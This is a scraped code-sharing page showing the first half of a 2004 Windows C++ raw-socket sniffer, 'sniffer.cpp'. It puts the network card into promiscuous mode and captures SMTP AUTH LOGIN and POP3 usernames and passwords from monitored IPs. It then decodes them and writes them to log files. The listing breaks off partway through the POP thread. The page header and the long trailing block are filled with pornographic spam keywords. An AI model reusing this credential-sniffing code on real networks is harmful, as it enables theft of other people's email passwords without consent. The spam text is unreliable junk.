亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來(lái)到蟲(chóng)蟲(chóng)下載站! | ?? 資源下載 ?? 資源專(zhuān)輯 ?? 關(guān)于我們
? 蟲(chóng)蟲(chóng)下載站

?? sniffer.cpp

?? Sniffer using Sock_raw. 挺不錯(cuò)的。
?? CPP
?? 第 1 頁(yè) / 共 2 頁(yè)
字號(hào):
////////////////////////////////////////////////////////////////////////////////////
//                             Raw Sniffer Code  V1.0                             //
//                        powered by shadow @2004/10/4                            //
//                   my web:http://www.codehome.6600.org                          //
////////////////////////////////////////////////////////////////////////////////////

#include "stdafx.h"
#include "SNIFFER.h"
#include "BASE641.h"
#pragma comment(lib,"wsock32.lib")
//
typedef struct _USERINFO{  //參數(shù)信息結(jié)構(gòu)體 
CString ProtoType;
CString sourceip;
CString sourceport;
CString destip;
CString destport;
int SelfSnifferStartFlag;  
int SnifferStartFlag;      
int Way;                   //嗅探方式,1[單向嗅探],0[雙向嗅探]
char SnifferDataPath[MAX_PATH];    //smtp和pop嗅探路徑
char SelfSnifferDataPath[MAX_PATH];//自定義嗅探路徑
int MaxData;               //最大記錄,單位M
}USERINFO,LPUSERINFO;
//
USERINFO userinfo;
SOCKET RawSocket; 
FILE *fsniffer;
int BasePort;
CString SmtpListenIpList[MAX_SUBTHREAD_NUM];       //監(jiān)聽(tīng)列表
CString PopListenIpList[MAX_SUBTHREAD_NUM];
CString ListenSmtpIp; //臨時(shí)監(jiān)聽(tīng)ip
CString ListenPopIp;  
CString PopServerIp;  //pop服務(wù)器ip
int SubThreadIdList[MAX_SUBTHREAD_NUM*2];   //子線(xiàn)程id列表
//獲得協(xié)議類(lèi)型
char * GetProtocol(unsigned char proto){  
   switch(proto){
     case IPPROTO_TCP:return IPPROTO_TCP_TXT;break;
	 case IPPROTO_UDP:return IPPROTO_UDP_TXT;break;
	 case IPPROTO_ICMP:return IPPROTO_ICMP_TXT;break;
	 case IPPROTO_IGMP:return IPPROTO_IGMP_TXT;break;
	 default:return IPPROTO_DEFAULT_TXT;break;
	 }
 }

 //check ip if is listened
bool SmtpIpIsListened(CString ip){
  int i;
  for(i=0;i<MAX_SUBTHREAD_NUM;i++){
     if(SmtpListenIpList[i].Compare(ip)==0) return true;
	 }
  return false;
} 

bool PopIpIsListened(CString ip){
  int i;
  for(i=0;i<MAX_SUBTHREAD_NUM;i++){
     if(PopListenIpList[i].Compare(ip)==0) return true;
	 }
  return false;
} 

bool InsertSmtpListenIpList(CString ip){
       int i;
	   for(i=0;i<MAX_SUBTHREAD_NUM;i++){
	      if(SmtpListenIpList[i]==""){
		     SmtpListenIpList[i]=ip; 
			 return true;
			 }
		  }
       return false;
}
bool InsertPopListenIpList(CString ip){
       int i;
	   for(i=0;i<MAX_SUBTHREAD_NUM;i++){
	      if(PopListenIpList[i]==""){
		     PopListenIpList[i]=ip; 
			 return true;
			 }
		  }
       return false;
}

bool DeleteSmtpListenIp(CString ip){
     int i;
	 for(i=0;i<MAX_SUBTHREAD_NUM;i++){
	     if(SmtpListenIpList[i].Compare(ip)==0){
		    SmtpListenIpList[i]="";
			return true;
			}
		 }
     return false;
}
bool DeletePopListenIp(CString ip){
     int i;
	 for(i=0;i<MAX_SUBTHREAD_NUM;i++){
	     if(PopListenIpList[i].Compare(ip)==0){
		    PopListenIpList[i]="";
			return true;
			}
		 }
     return false;
}
bool InsertSubThreadIdList(int threadid){
       int i;
	   for(i=0;i<MAX_SUBTHREAD_NUM;i++){
	       if(SubThreadIdList[i]==0){
		      SubThreadIdList[i]=threadid;
			  return true;
			  }
		   }
	   return false; 
}

bool DeleteSubThreadId(int threadid){
    int i;
	for(i=0;i<MAX_SUBTHREAD_NUM;i++){
	   if(SubThreadIdList[i]==threadid){
	      SubThreadIdList[i]=0;
		  return true;
		  }
	   }
	return false;
}

int MessageSubThread(unsigned int msg){  //線(xiàn)程消息通知
    int i,errorcode;
	errorcode=0;
	for(i=0;i<MAX_SUBTHREAD_NUM;i++){
	   if(SubThreadIdList[i]!=0){
	      try{
		      PostThreadMessage(SubThreadIdList[i],msg,NULL,NULL);
			  }
		  catch(...){
              errorcode=14;
			  }
		  }
	   }
	return errorcode;
}
//
CString GetSnifferData(SOCKET listensocket,CString listenip,CString ToPort){
   char buffer[65535];
   int readnum,totalbytes,datalen,HeaderLen;
   IP_HEADER *IpHeader;
   TCP_HEADER *TcpHeader;
   UDP_HEADER *UdpHeader;
   ICMP_HEADER *IcmpHeader;
   CString FromIp,DestIp,FromPort,DestPort,Protocol,PacketData,DataLen;
   char fromip[20],destip[20];
   char *pdata;
   //sniffer deail code
   ZeroMemory(buffer,65535);
   ZeroMemory(fromip,20);
   ZeroMemory(destip,20);
   datalen=0;
   readnum=recv(listensocket,buffer,65535,0);
   if(readnum==SOCKET_ERROR){
     PacketData="no data";
	 return PacketData;
	 }
   IpHeader=(IP_HEADER *)buffer;
   Protocol.Format("%s",GetProtocol((unsigned char)IpHeader->Protocol));
   sprintf(fromip,"%d.%d.%d.%d",IpHeader->FromIP.address[0],IpHeader->FromIP.address[1],IpHeader->FromIP.address[2],IpHeader->FromIP.address[3]);
   sprintf(destip,"%d.%d.%d.%d",IpHeader->ToIP.address[0],IpHeader->ToIP.address[1],IpHeader->ToIP.address[2],IpHeader->ToIP.address[3]);
   FromIp.Format("%s",fromip);
   DestIp.Format("%s",destip);
   totalbytes=ntohs(IpHeader->TotalLen);
   HeaderLen=(IpHeader->VersionHdl&0x0f)*4;
   totalbytes-=HeaderLen;
   switch(IpHeader->Protocol){
      case IPPROTO_ICMP:
	     IcmpHeader=(ICMP_HEADER *)(buffer+HeaderLen);
		 datalen=totalbytes-ICMP_HEADER_LEN;
		 FromPort.Format("-");
		 DestPort.Format("-");
		 pdata=(char *)IcmpHeader+ICMP_HEADER_LEN;
		 PacketData.Format("type:%d code:%d data:%s",IcmpHeader->Type,IcmpHeader->Code,pdata);
         break;
	  case IPPROTO_UDP:
	     UdpHeader=(UDP_HEADER *)(buffer+HeaderLen);
		 datalen=totalbytes-UDP_HEADER_LEN;
		 FromPort.Format("%d",ntohs(UdpHeader->FromPort));
		 DestPort.Format("%d",ntohs(UdpHeader->ToPort));
		 pdata=(char *)UdpHeader+UDP_HEADER_LEN;
		 PacketData.Format("%s",pdata);
		 break;
	  case IPPROTO_TCP:
	     TcpHeader=(TCP_HEADER *)(buffer+HeaderLen);
		 HeaderLen=((TcpHeader->HeaderLen)>>4)*4;
         FromPort.Format("%d",ntohs(TcpHeader->FromPort));
		 DestPort.Format("%d",ntohs(TcpHeader->ToPort));
		 pdata=(char *)TcpHeader+HeaderLen;
		 PacketData.Format("%s",pdata);
		 datalen=totalbytes-HeaderLen;
		 break;
	  default:
	     FromPort.Format("-");
		 DestPort.Format("-");
		 datalen=totalbytes;
		 PacketData.Format("no data");
		 break;
	  }
   DataLen.Format("%d",datalen);
  //  PacketData="no data";
   if(FromIp.Compare(listenip)==0&&DestPort.Compare(ToPort)==0) return PacketData;
   else PacketData="no data";
   return PacketData;
}
//write smtp sniffer
void WriteSMTPSniffer(char *filename,CString username,CString password,CString mailfrom,CString mailto){
CString SnifferTRHead="\r\n-----------------SMTP嗅探------------------\r\n";
FILE *fout;
fout=fopen(filename,"ab+");
if(fout!=NULL){
  fputs(SnifferTRHead,fout);
  fputs("用戶(hù)名:"+username+"\r\n密碼:"+password+"\r\n"+mailfrom+"\r\n"+mailto,fout);
  fclose(fout);
  }
else printf("File can not create...\r\n");
}
//write pop sniffer
void WritePOPSniffer(char *filename,CString username,CString password,CString pop){
CString SnifferTRHead="\r\n-----------------POP嗅探------------------\r\n";
FILE *fout;
fout=fopen(filename,"ab+");
if(fout!=NULL){
  fputs(SnifferTRHead,fout);
  fputs("用戶(hù)名:"+username+"\r\n密碼:"+password+"\r\nPOP IP:"+pop,fout);
  fclose(fout);
  }
else printf("File can not create...\r\n");
}
//SMTP登陸嗅探線(xiàn)程
UINT SmtpSnifferThread(LPVOID param){
//
MSG msg;
int ErrorCode;
CString SnifferStr;
CString ListenIp,toport;
bool SMTPSTART;
bool SMTPAUTHLOGIN;
int  SMTP_LOGIN_STEP;
bool SMTPDATASTART;
bool GetMailOK;
CString MailFrom,MailTo,UserName,PassWord,MailData,AllString;
SMTPSTART=true;
SMTPAUTHLOGIN=false;
SMTPDATASTART=false;
GetMailOK=false;
MailFrom="no get mailfrom";
MailTo="no get mailto";
UserName="no get username";
PassWord="no get password";
MailData="no get maildata";
int this_threadid=GetCurrentThreadId();
InsertSubThreadIdList(this_threadid);
ListenIp=ListenSmtpIp;
toport="25";
//set rawsock to listen
SOCKET SmtpSocket;
SmtpSocket=socket(AF_INET,SOCK_RAW,IPPROTO_IP);
if(SmtpSocket==INVALID_SOCKET){
  ErrorCode=4;
  DeleteSmtpListenIp(ListenIp);
  DeleteSubThreadId(this_threadid);
  return ErrorCode;
  }
int rcvtimeout=5000;
if(setsockopt(SmtpSocket,SOL_SOCKET,SO_RCVTIMEO,(const char *)&rcvtimeout,sizeof(rcvtimeout))==SOCKET_ERROR){
  ErrorCode=5;
  DeleteSmtpListenIp(ListenIp);
  DeleteSubThreadId(this_threadid);
  return ErrorCode;
  }
char hostname[100];
char *hostip;
hostent *myhost;
sockaddr_in localsock;
gethostname(hostname,100);
myhost=gethostbyname(hostname);
hostip=inet_ntoa(*(in_addr *)myhost->h_addr_list[0]);
localsock.sin_family=AF_INET;
localsock.sin_port=htons(++BasePort);
localsock.sin_addr.S_un.S_addr=inet_addr(hostip);
if(bind(SmtpSocket,(const sockaddr *)&localsock,sizeof(localsock))==SOCKET_ERROR){
  ErrorCode=7;
  DeleteSmtpListenIp(ListenIp);
  DeleteSubThreadId(this_threadid);
  return ErrorCode;
  }
DWORD dwValue=1;
if(ioctlsocket(SmtpSocket,SIO_RCVALL,&dwValue)==SOCKET_ERROR){
   ErrorCode=8;
   DeleteSmtpListenIp(ListenIp);
   DeleteSubThreadId(this_threadid);
   return ErrorCode;
   }
//
printf("\r\n"+ListenIp+":sub thread smtp sniffer start!try to sniffer data...\r\n");
while(true){  
     if(PeekMessage(&msg,NULL,WM_SNIFFER_CLOSE,WM_SNIFFER_CLOSE,PM_REMOVE)){
        closesocket(SmtpSocket);
		TRACE("subthread  close ok!");
	    break;
	    }
     SnifferStr=GetSnifferData(SmtpSocket,ListenIp,toport);	
	 if(SnifferStr.Compare("no data")==0){
       Sleep(2);	   
	   continue;
	   }
     int index;
     CString LowSnifferStr;
	 LowSnifferStr=SnifferStr;
	 LowSnifferStr.MakeLower();	
     if(SMTPSTART){
	    if(index=LowSnifferStr.Find("mail from:",0)==0){
		   if(index=SnifferStr.Find("\r\n",0)){
		       if(MailFrom=="no get mailfrom") MailFrom=SnifferStr.Mid(0,index);
			   }
		   }
	    else if(index=LowSnifferStr.Find("rcpt to:",0)==0){
		   if(index=SnifferStr.Find("\r\n",0)){
		       if(MailTo=="no get mailto") MailTo=SnifferStr.Mid(0,index);
			   }
		   SMTPSTART=false;
	       TRACE("get last data!\r\n");
	       GetMailOK=true;
		   break;
		   }
		else if(SMTPAUTHLOGIN){
		   if(SMTP_LOGIN_STEP==1){
		      if(index=SnifferStr.Find("\r\n",0)){
			     if(UserName=="no get username") UserName=SnifferStr.Mid(0,index);
				 }
			  SMTP_LOGIN_STEP=2;
			  continue;
			  }
		   if(SMTP_LOGIN_STEP==2){
		      if(index=SnifferStr.Find("\r\n",0)){
			     if(PassWord=="no get password") PassWord=SnifferStr.Mid(0,index);
				 }
			  SMTPAUTHLOGIN=false;
			  }
		   }
		/*
		if(index=LowSnifferStr.Find("data",0)==0){
		   SMTPDATASTART=true;
		   TRACE("listen data ok!\r\n");
		   continue;
		   }
		*/
		else if(index=LowSnifferStr.Find("auth login",0)==0){
		   SMTPAUTHLOGIN=true;
		   SMTP_LOGIN_STEP=1;
		   }
		/*
		if(SMTPDATASTART){
			if(index=SnifferStr.Find("\r\n.\r\n",0)){
			   MailData+=SnifferStr.Mid(0,index);
			   SMTPDATASTART=false;
			   TRACE(MailData+"get mail data ok!\r\n");
			   continue;
			   }
			else{
			   MailData+=SnifferStr;
			   continue;
			   }			
			}
		*/
        else if(index=LowSnifferStr.Find("quit",0)==0){
		    SMTPSTART=false;
			TRACE("get last data!\r\n");
			GetMailOK=true;
			break;
		    }				
		}
	Sleep(1);
	}
if(GetMailOK&&UserName!="no get username"&&PassWord!="no get password"){
 BASE64 base64;
 char enusername[50];
 char enpassword[50];
 ZeroMemory(enusername,0,50);
 ZeroMemory(enpassword,0,50);
 if(UserName!="no get username"&&UserName.GetLength()<50){
    sprintf(enusername,"%s",UserName);
	UserName.Format("%s",base64.StringDecode((unsigned char *)enusername));
	}
 if(PassWord!="no get password"&&PassWord.GetLength()<50){
    sprintf(enpassword,"%s",PassWord);
	PassWord.Format("%s",base64.StringDecode((unsigned char *)enpassword));
	}
 AllString=UserName+"\r\n"+PassWord+"\r\n"+MailFrom+"\r\n"+MailTo;
 printf("This is listen:\r\n"+AllString);
 WriteSMTPSniffer(userinfo.SnifferDataPath,UserName,PassWord,MailFrom,MailTo);
 }
closesocket(SmtpSocket);
Sleep(1000);
DeleteSmtpListenIp(ListenIp);
DeleteSubThreadId(this_threadid);
TRACE("\r\nsub thread exit!");
return 0;
}


//POP3登陸嗅探線(xiàn)程
UINT PopSnifferThread(LPVOID param){

MSG msg;
int ErrorCode;
CString SnifferStr;
CString ListenIp,PopIp,toport;
bool POPSTART;
bool GetMailOK;
CString UserName,PassWord,AllString;
ListenIp=ListenPopIp;
PopIp=PopServerIp;
POPSTART=true;
GetMailOK=false;
UserName="no get username";
PassWord="no get password";
int this_threadid=GetCurrentThreadId();
InsertSubThreadIdList(this_threadid);
toport="110";
//set rawsock to listen
SOCKET POPSocket;
POPSocket=socket(AF_INET,SOCK_RAW,IPPROTO_IP);
if(POPSocket==INVALID_SOCKET){
  ErrorCode=4;
  DeletePopListenIp(ListenIp);
  DeleteSubThreadId(this_threadid);
  return ErrorCode;
  }
int rcvtimeout=5000;
if(setsockopt(POPSocket,SOL_SOCKET,SO_RCVTIMEO,(const char *)&rcvtimeout,sizeof(rcvtimeout))==SOCKET_ERROR){
  ErrorCode=5;
  DeletePopListenIp(ListenIp);
  DeleteSubThreadId(this_threadid);
  return ErrorCode;
  }
char hostname[100];
char *hostip;
hostent *myhost;
sockaddr_in localsock;

?? 快捷鍵說(shuō)明

復(fù)制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號(hào) Ctrl + =
減小字號(hào) Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
欧美午夜精品久久久久久孕妇 | 在线一区二区观看| 国产另类ts人妖一区二区| 日本不卡的三区四区五区| 亚洲午夜久久久| 亚洲h动漫在线| 亚洲网友自拍偷拍| 五月天网站亚洲| 无码av免费一区二区三区试看 | 色婷婷综合久久久中文一区二区| 成人18精品视频| 91免费版在线| 一本色道**综合亚洲精品蜜桃冫| 色妞www精品视频| 欧洲精品一区二区三区在线观看| 91成人免费在线视频| 欧美性感一区二区三区| 91麻豆精品国产自产在线| 国产丝袜在线精品| 欧美国产激情二区三区| **性色生活片久久毛片| 一区二区三区在线看| 亚洲成人福利片| 美女一区二区久久| 国产xxx精品视频大全| 91香蕉视频黄| 欧美日韩国产高清一区二区三区 | 国产日韩欧美高清在线| 亚洲乱码国产乱码精品精可以看| 亚洲一区二区三区自拍| 日本午夜一本久久久综合| 经典三级在线一区| 99久久伊人精品| 精品视频在线视频| 久久久亚洲精品一区二区三区| 亚洲国产精品99久久久久久久久 | 91农村精品一区二区在线| 欧美三片在线视频观看| 亚洲精品在线免费观看视频| 国产精品传媒视频| 日韩高清不卡在线| 丁香婷婷综合网| 欧美亚男人的天堂| 久久综合国产精品| 亚洲精品午夜久久久| 男女男精品网站| 成人综合婷婷国产精品久久| 欧美日韩一区二区三区高清| 精品国产一区二区三区四区四| |精品福利一区二区三区| 视频一区二区三区入口| 国产jizzjizz一区二区| 欧美色综合网站| 国产日韩综合av| 日韩精品欧美精品| www.性欧美| 日韩午夜电影在线观看| 亚洲欧美另类在线| 九色porny丨国产精品| 在线精品视频免费播放| 久久一区二区三区国产精品| 亚洲在线视频网站| 国产91色综合久久免费分享| 欧美精品vⅰdeose4hd| 1024亚洲合集| 国产精品一区三区| 日韩一区欧美一区| 久久99最新地址| 欧美影院午夜播放| 国产精品久久久久一区二区三区共 | 欧美日韩免费视频| 国产精品每日更新| 国内精品免费**视频| 欧美三级电影网| 1024成人网| 成人午夜视频福利| xf在线a精品一区二区视频网站| 亚洲成人一区二区| 色婷婷亚洲综合| 国产精品青草综合久久久久99| 麻豆精品一二三| 欧美性一二三区| 亚洲蜜臀av乱码久久精品| 国产sm精品调教视频网站| 精品国产麻豆免费人成网站| 日本亚洲一区二区| 欧美日韩视频第一区| 亚洲激情综合网| 色综合天天综合色综合av | 亚洲欧美日韩中文字幕一区二区三区| 精品无码三级在线观看视频| 欧美日本一道本| 亚洲午夜久久久久久久久久久| 色综合久久中文综合久久牛| 国产精品欧美精品| 国产成人av网站| 久久久九九九九| 国产精品一区二区免费不卡| 精品国产乱码久久久久久老虎| 麻豆精品新av中文字幕| 日韩一区二区在线看| 欧美aaaaa成人免费观看视频| 欧美区视频在线观看| 午夜精品久久久久久| 欧美老肥妇做.爰bbww视频| 亚洲国产另类精品专区| 欧美日韩视频在线第一区| 五月天亚洲精品| 88在线观看91蜜桃国自产| 亚洲h在线观看| 欧美一级欧美三级在线观看| 日本视频免费一区| 日韩女优制服丝袜电影| 精品一区二区影视| 久久久久久久电影| 在线不卡免费av| 日韩电影在线看| 欧美va亚洲va香蕉在线 | 欧美一级精品大片| 久久91精品久久久久久秒播| 久久久久国产精品麻豆ai换脸| 国产不卡在线视频| 日韩伦理免费电影| 欧美日韩专区在线| 免费成人在线网站| 国产欧美日韩一区二区三区在线观看| 高清shemale亚洲人妖| 亚洲欧洲精品天堂一级| 色国产综合视频| 日韩高清中文字幕一区| 久久久久亚洲蜜桃| 91蜜桃传媒精品久久久一区二区| 亚洲国产美国国产综合一区二区| 日韩欧美久久一区| 国产91丝袜在线播放0| 一区二区欧美精品| 日韩欧美三级在线| 成人做爰69片免费看网站| 一区二区欧美精品| 精品国产亚洲在线| 一本一道波多野结衣一区二区| 视频一区二区国产| 国产精品私人影院| 欧美日韩精品久久久| 狠狠色狠狠色综合日日91app| 国产精品理论片在线观看| 欧美日韩亚洲综合一区 | 日韩美女主播在线视频一区二区三区| 国产成人在线免费观看| 亚洲国产一二三| 国产亚洲精久久久久久| 欧美撒尿777hd撒尿| 福利一区二区在线观看| 亚洲午夜久久久久久久久电影院| 337p日本欧洲亚洲大胆色噜噜| av综合在线播放| 蜜臀av一区二区在线免费观看| 最新欧美精品一区二区三区| 欧美高清www午色夜在线视频| 国产成人av电影在线观看| 天天综合天天做天天综合| 国产精品三级电影| 欧美一二三四在线| 日本丶国产丶欧美色综合| 国产精品一区免费在线观看| 日韩高清在线不卡| 亚洲欧美日韩电影| 国产欧美一区二区三区网站| 91精品视频网| 91免费国产在线观看| 国产麻豆成人精品| 日韩影院精彩在线| 悠悠色在线精品| 国产精品国产三级国产三级人妇 | 日韩激情一区二区| 亚洲另类在线视频| 国产精品人人做人人爽人人添| 欧美一级精品在线| 欧美日韩精品综合在线| 91免费国产在线| 丁香天五香天堂综合| 精品一区二区在线视频| 日韩国产欧美在线视频| 一区二区三区欧美亚洲| 中文字幕一区二区5566日韩| 精品国产99国产精品| 欧美一级午夜免费电影| 欧美日韩国产中文| 欧美视频一二三区| 在线亚洲人成电影网站色www| av成人动漫在线观看| 成人小视频免费观看| 国产精品一区二区久激情瑜伽| 久久爱www久久做| 蜜桃一区二区三区四区| 成人三级在线视频| 国产黄色91视频| 国产在线精品视频| 国产一区在线看| 激情欧美日韩一区二区|